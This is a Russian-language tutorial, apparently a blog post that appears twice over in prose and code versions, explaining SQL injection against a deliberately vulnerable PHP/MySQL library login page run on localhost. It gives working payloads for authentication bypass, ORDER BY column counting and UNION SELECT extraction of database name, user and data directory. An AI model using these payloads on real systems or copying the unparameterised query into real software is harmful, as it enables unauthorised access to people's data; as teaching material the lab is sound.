Суть SQL-инъекций
Наверное, уже слышали шутку из Интернета: «Почему во всех уроках рисования одно и тоже: Например, урок по рисованию совы. Сначала полчаса долго в деталях рисуем глаз совы. А потом — раз — за пять минут — рисуем оставшуюся часть совы».
Вот даже картинка по этому поводу есть:
По SQL-инжектам материала море: статьи, книги, видеокурсы (платные и бесплатные). При этом не многие из них прибавляют понимания по этому вопросу. Особенно если вы новичок. Я хорошо помню свои ощущения: вот он кружок, вот он остаток совы…
Цель этой заметки —натянуть глаз на сову дать нормальное просто объяснение, что же такое SQL-инъекции, в чём заключается их суть, насколько и почему они опасны.
Для опытов, у нас будет очень простой и уязвимый к SQL-инъекции скрипт:
Вы намного больше поймёте, если будете всё делать вместе со мной. Поэтому вот ссылка на архив. В нём два файла: index.php и db_library.sql. Файл index.php разместите в любое место на сервере — это и есть наш уязвимый скрипт. А файл db_library.sql нужно импортировать, например, при помощи phpMyAdmin.
В файл index.php в качестве имени пользователя базы данных задан root, а пароль — пустой. Вы можете вписать свои данные, отредактировав строчку:
По легенде, это форма входа в он-лайн версию Бобруйской районной библиотеки. Нам уже дали учётные данные: имя пользователя — Demo, пароль — 111.
Давайте введём их и посмотрим:
Наши учётные данные приняты, на экраны выведено наше имя, статус и доступные для нас книги. Можете попробовать, с любыми другими данными (если поменять имя или пароль) мы не сможем войти и посмотреть доступные для чтения книги. Также мы не можем узнать, какие книги доступны для остальных, поскольку мы не знаем их имени и пароля.
Подсмотрим в исходный код, чтобы понять, как произошёл запрос к базе данных:
Слово SELECT в SQL-запросе показывает, какие данные нужно получить. Например, можно было бы указать SELECT name, или SELECT name, password. Тогда в первом бы случае из таблицы было бы получено только имя, а во втором — только имя и пароль. Звёздочка говорит, что нужно получить все значения. Т.е. SELECT * — это означает получить все значения.
FROM говорит откуда их нужно получить. После FROM следует имя таблицы, т. е. запись FROM `members` говорит, получить из таблицы `members`.
Далее WHERE, если вы изучали какие-либо языки программирования, то это слово больше всего напоминает «Если». А дальше идут условия, эти условия могут быть истинными (1) или ложными (0). В нашем случае
означает, что условие будет истинным, если переданная переменная $name будет равна значению поля name в таблице и переданная переменная ‘$password будет равна значению поля password в таблице. Если хотя бы одно условия не выполняется (неверное имя пользователя или пароль), то из таблицы ничего не будет взято., т. е. выражение SELECT * FROM `members` WHERE name = ‘$name’ AND password =’$password’ означает: в таблице `members` взять значения всех полей, если для них выполняется условие — совпадают переданное имя пользователя и пароль с теми, которые встречаются в таблице.
Это понятно. Давайте теперь, например, с именем пользователя подставим одиночную кавычку:
Адресная строка:
Никакие данные не получены, вместо них мы видим ошибку:
При добавлении кавычки, наш запрос превращается в следующее:
Я поставил дополнительные пробелы для наглядности, т. е. у нас получается запрос
кстати, запрос верный по синтаксису. И сразу после него, без каких либо разделителей идёт продолжение запроса:
Оно-то всё и ломает, поскольку количество открывающих и закрывающих кавычек не равно. Можно, например, подставить ещё одну кавычку:
Адресная строка:
Ошибка исчезла, но осмысленности это в запрос не добавило. Нам мешает бессмысленный хвост запроса. Как бы нам от него избавиться?
Ответ есть — это комментарии.
Комментарии в MySQL можно задать тремя способами:
Адресная строка:
Ошибка не только исчезла, но и выведены корректные данные для пользователя Demo. Поскольку теперь наш запрос приобрёл вид
ведь хвостик —+ ‘ AND password =’111’ превратился в комментарий и больше на запрос не влияет.
Посмотрите ещё раз внимательно на новый запрос:
И в нём больше не проверяется пароль! Т.е. зная имена легитимных пользователей, но не зная их паролей, мы можем просматривать их личные данные. Т.е. мы уже начали эксплуатировать SQL-инъекцию.
К сожалению, я не знаю ни одного легитимного имени и мне нужно придумать что-то другое.
Посмотрим внимательно на эту часть запроса:
Помните про AND, которое используется в первом запросе? Оно означает логическую операции «И». Напомню, логическая операции «И» выдаёт «истина» (1) только если оба выражения являются истиной. Но логический оператор «ИЛИ» выдаёт «истина» (1) даже если хотя бы одно из выражений является истиной. Т.е. выражение
всегда будет истиной, всегда будет возвращать 1. Поскольку одно из двух сравниваемых выражений всегда возвращает 1.
Т.е. нам нужно составить выражение, которое будет выгладить так:
Адресная строка:
Результат:
Результат отличный! Мы получили список всех записей в таблице.
ORDER BY и UNION — главные друзья SQL-инъекций
Мы уже сейчас получили данные, которые были недоступны тем, у кого нет валидных имени пользователя и пароля. Можно ли что-то ещё получить? Да, можно получить полный дамп этой таблицы (напомню, у нас по прежнему нет паролей. Более того, мы можем получить все данные из всех баз на этом сервере через одну крошечную дырочку!
UNION позволяет объединять SQL-запросы. В реальной жизни у меня задачи простые, поэтому и простые запросы к базам данных и возможностями UNION я не пользуюсь. Но вот для SQL-инъекций ценнее этого слова нет.
UNION позволяет довольно гибко объединять SQL-запросы с SELECT, в том числе и от разных баз данных. Но есть важное требование к синтаксису: количество столбцов в первом SELECT должно равняться количеству столбцов во втором SELECT.
ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка:
Адресная строка:
Запрос выглядит так:
Мы заменили имя пользователя на -1 чтобы не выводились никакие данные.
Ошибки нет, также нет ошибки и при запросах
А вот запрос
ему соответствует адресная строка
Выдал ошибку
Это означает, что из таблицы выбираются данные по пяти колонкам.
Конструируем наш запрос с UNION:
Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL – тогда вместо поля ничего не будет выведено.
Адресная строка:
Пробуем:
Другой способ нахождения количества столбцов — с помощью того же UNION. Лесенкой прибавляем количество столбцов:
Все они будут вызывать одну и туже ошибку:
Делайте так пока не исчезнет сообщение об ошибке.
Обратите внимание, что содержимое некоторых полей UNION SELECT 1,2,3,4,5 выводится на экран. Вместо цифр можно задать функции.
Что писать в SELECT
Есть некоторые функции, которые можно писать непосредственно в UNION:
Используем DATABASE() в UNION SELECT
Адрес:
Результат:
Используем CURRENT_USER() в UNION SELECT
Адрес:
Результат:
Используем @@datadir в UNION SELECT
Адрес:
Результат:
Получение имён таблицы, полей и дамп базы данных
В базе данных information_schema есть таблица, которая называется tables. В этой таблице содержится список всех таблиц, которые присутствуют во всех базах данных этого сервера. Мы можем отобрать наши таблицы, ища в поле table_schema название нашей базы данных — ‘db_library’ (имя мы узнали с помощью DATABASE()).
Это называется полная техника UNION. Материала по ней предостаточно в Интернете. На моём же MySQL сервере полная техника UNION не работает. У меня появляется ошибка
Возможно, это связано с версией MySQL 5.6. Т.к. привести практических примеров я не могу, а переписывать чужие неработающие команды мне не интересно — сейчас и без меня в Интернете развелось «великих теоретиков» сколько угодно, то я решил сразу перейти к рассмотрению частичной технике UNION. Но это не самая простая техника, да и статья уже получилась достаточно большой.
В следующей части статьи мы изучим частичную технику UNION, с её помощью мы получим все данные на сервере: имена баз данных, имена их таблиц и полей в этих таблицах, а также их содержимое. Пока ждёте появления второй части — тренируйтесь, почитайте о SQL-инъекциях и технике UNION, дополнительно рекомендуются к ознакомлению следующие статьи:
п.с. ах да, забыл про LIMIT. Тоже в следующий раз расскажу о роли LIMIT в SQL-инъекциях.
Наверное, уже слышали шутку из Интернета: «Почему во всех уроках рисования одно и тоже: Например, урок по рисованию совы. Сначала полчаса долго в деталях рисуем глаз совы. А потом — раз — за пять минут — рисуем оставшуюся часть совы».
Вот даже картинка по этому поводу есть:
По SQL-инжектам материала море: статьи, книги, видеокурсы (платные и бесплатные). При этом не многие из них прибавляют понимания по этому вопросу. Особенно если вы новичок. Я хорошо помню свои ощущения: вот он кружок, вот он остаток совы…
Цель этой заметки —
Для опытов, у нас будет очень простой и уязвимый к SQL-инъекции скрипт:
HTML:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<h2>Для доступа к Бобруйской районной библиотеке введите Ваши учётные данные:</h2>
<form method="get" action="?">
<p>Введите ваше имя</p>
<input name="name" type="text">
<p>Введите ваш пароль</p>
<input name="password" type="text"><br />
<input type="submit">
</form>
<?php
$mysqli = new mysqli("localhost", "root", "", "db_library");
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %sn", mysqli_connect_error());
exit();
} else {
$mysqli->query("SET NAMES UTF8");
$mysqli->query("SET CHARACTER SET UTF8");
$mysqli->query("SET character_set_client = UTF8");
$mysqli->query("SET character_set_connection = UTF8");
$mysqli->query("SET character_set_results = UTF8");
}
$name = filter_input(INPUT_GET, 'name');
$password = filter_input(INPUT_GET, 'password');
if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = '$name' AND password = $password")) {
while ($obj = $result->fetch_object()) {
echo "<p><b>Ваше имя: </b> $obj->name</p>
<p><b>Ваш статус:</b> $obj->status</p>
<p><b>Доступные для Вас книги:</b> $obj->books</p><hr />";
}
} else {
printf("Ошибка: %sn", $mysqli->error);
}
$mysqli->close();
?>
</body>
</html>
В файл index.php в качестве имени пользователя базы данных задан root, а пароль — пустой. Вы можете вписать свои данные, отредактировав строчку:
Код:
$mysqli = new mysqli("localhost", "root", "", "db_library");
Давайте введём их и посмотрим:
Наши учётные данные приняты, на экраны выведено наше имя, статус и доступные для нас книги. Можете попробовать, с любыми другими данными (если поменять имя или пароль) мы не сможем войти и посмотреть доступные для чтения книги. Также мы не можем узнать, какие книги доступны для остальных, поскольку мы не знаем их имени и пароля.
Подсмотрим в исходный код, чтобы понять, как произошёл запрос к базе данных:
Код:
SELECT * FROM `members` WHERE name = '$name' AND password ='$password'
FROM говорит откуда их нужно получить. После FROM следует имя таблицы, т. е. запись FROM `members` говорит, получить из таблицы `members`.
Далее WHERE, если вы изучали какие-либо языки программирования, то это слово больше всего напоминает «Если». А дальше идут условия, эти условия могут быть истинными (1) или ложными (0). В нашем случае
Код:
(name = ‘$name’) AND (password =’$password’)
Это понятно. Давайте теперь, например, с именем пользователя подставим одиночную кавычку:
Адресная строка:
Код:
http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111
При введении верных данных, наш запрос выглядел так:Ошибка: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '111'' at line 1
Код:
SELECT * FROM `members` WHERE name = 'Demo' AND password ='111'
Код:
SELECT * FROM `members` WHERE name = 'Demo' ' AND password ='111'
Код:
SELECT * FROM `members` WHERE name = 'Demo'
Код:
' AND password ='111'
Код:
SELECT * FROM `members` WHERE name = 'Demo' ' ' AND password ='111'
Код:
http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111
Ошибка исчезла, но осмысленности это в запрос не добавило. Нам мешает бессмысленный хвост запроса. Как бы нам от него избавиться?
Ответ есть — это комментарии.
Комментарии в MySQL можно задать тремя способами:
- # (решётка — работает до конца строки)
- — (два тире — работают до конца строки, нужен символ пробела после двух тире)
- /* это комментарий */ группа из четырёх символов — всё, что внутри — это комментарий, всё, что до или после этой группы символов, не считается комментарием.
Код:
SELECT * FROM `members` WHERE name = 'Demo' --+ ' AND password ='111'
Код:
http://localhost/test/mysql-inj-lab1/index.php?name=Demo’—+&password=111
Код:
SELECT * FROM `members` WHERE name = 'Demo'
Посмотрите ещё раз внимательно на новый запрос:
Код:
SELECT * FROM `members` WHERE name = 'Demo'
К сожалению, я не знаю ни одного легитимного имени и мне нужно придумать что-то другое.
Посмотрим внимательно на эту часть запроса:
Код:
WHERE name = 'Demo'
Код:
WHERE name = 'Demo' OR 1
Т.е. нам нужно составить выражение, которое будет выгладить так:
Код:
SELECT * FROM `members` WHERE name = 'Demo' OR 1
Код:
http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ OR 1 —+ &password=111
Результат отличный! Мы получили список всех записей в таблице.
ORDER BY и UNION — главные друзья SQL-инъекций
Мы уже сейчас получили данные, которые были недоступны тем, у кого нет валидных имени пользователя и пароля. Можно ли что-то ещё получить? Да, можно получить полный дамп этой таблицы (напомню, у нас по прежнему нет паролей. Более того, мы можем получить все данные из всех баз на этом сервере через одну крошечную дырочку!
UNION позволяет объединять SQL-запросы. В реальной жизни у меня задачи простые, поэтому и простые запросы к базам данных и возможностями UNION я не пользуюсь. Но вот для SQL-инъекций ценнее этого слова нет.
UNION позволяет довольно гибко объединять SQL-запросы с SELECT, в том числе и от разных баз данных. Но есть важное требование к синтаксису: количество столбцов в первом SELECT должно равняться количеству столбцов во втором SELECT.
ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка:
Адресная строка:
Код:
http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 —+ &password=111
Код:
SELECT * FROM `members` WHERE name = '-1' ORDER BY 1
Ошибки нет, также нет ошибки и при запросах
Код:
SELECT * FROM `members` WHERE name = '-1' ORDER BY 2
SELECT * FROM `members` WHERE name = '-1' ORDER BY 3
SELECT * FROM `members` WHERE name = '-1' ORDER BY 4
SELECT * FROM `members` WHERE name = '-1' ORDER BY 5
Код:
SELECT * FROM `members` WHERE name = '-1' ORDER BY 6
Код:
http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 6 —+ &password=111
Ошибка: Unknown column '6' in 'order clause'
Это означает, что из таблицы выбираются данные по пяти колонкам.
Конструируем наш запрос с UNION:
Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL – тогда вместо поля ничего не будет выведено.
Код:
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1,2,3,4,5
Код:
http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 —+ &password=111
Другой способ нахождения количества столбцов — с помощью того же UNION. Лесенкой прибавляем количество столбцов:
Код:
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1,2
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1,2,3
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1,2,3,4
Ошибка: The used SELECT statements have a different number of columns
Делайте так пока не исчезнет сообщение об ошибке.
Обратите внимание, что содержимое некоторых полей UNION SELECT 1,2,3,4,5 выводится на экран. Вместо цифр можно задать функции.
Что писать в SELECT
Есть некоторые функции, которые можно писать непосредственно в UNION:
- DATABASE() — показать имя текущей базы данных
- CURRENT_USER() — показывает имя пользователя и имя хоста
- @@datadir — выводит абсолютный путь до базы данных
- USER() — имя пользователя
- VERSION() — версия базы данных
Используем DATABASE() в UNION SELECT
Адрес:
Код:
http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() —+ &password=111
Используем CURRENT_USER() в UNION SELECT
Адрес:
Код:
http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,CURRENT_USER() —+ &password=111
Используем @@datadir в UNION SELECT
Адрес:
Код:
http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,@@datadir —+ &password=111
Получение имён таблицы, полей и дамп базы данных
В базе данных information_schema есть таблица, которая называется tables. В этой таблице содержится список всех таблиц, которые присутствуют во всех базах данных этого сервера. Мы можем отобрать наши таблицы, ища в поле table_schema название нашей базы данных — ‘db_library’ (имя мы узнали с помощью DATABASE()).
Это называется полная техника UNION. Материала по ней предостаточно в Интернете. На моём же MySQL сервере полная техника UNION не работает. У меня появляется ошибка
Не работает не из-за кривизны рук, поскольку у sqlmap также эта техника не приносит результатов:Ошибка: Illegal mix of collations for operation 'UNION'
Код:
something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
В следующей части статьи мы изучим частичную технику UNION, с её помощью мы получим все данные на сервере: имена баз данных, имена их таблиц и полей в этих таблицах, а также их содержимое. Пока ждёте появления второй части — тренируйтесь, почитайте о SQL-инъекциях и технике UNION, дополнительно рекомендуются к ознакомлению следующие статьи:
- Использование SQLMAP на Kali Linux: взлом веб-сайтов и баз данных через SQL-инъекции
- Защита сайта от взлома: предотвращение SQL-инъекций
- Как запустить sqlmap на Windows
п.с. ах да, забыл про LIMIT. Тоже в следующий раз расскажу о роли LIMIT в SQL-инъекциях.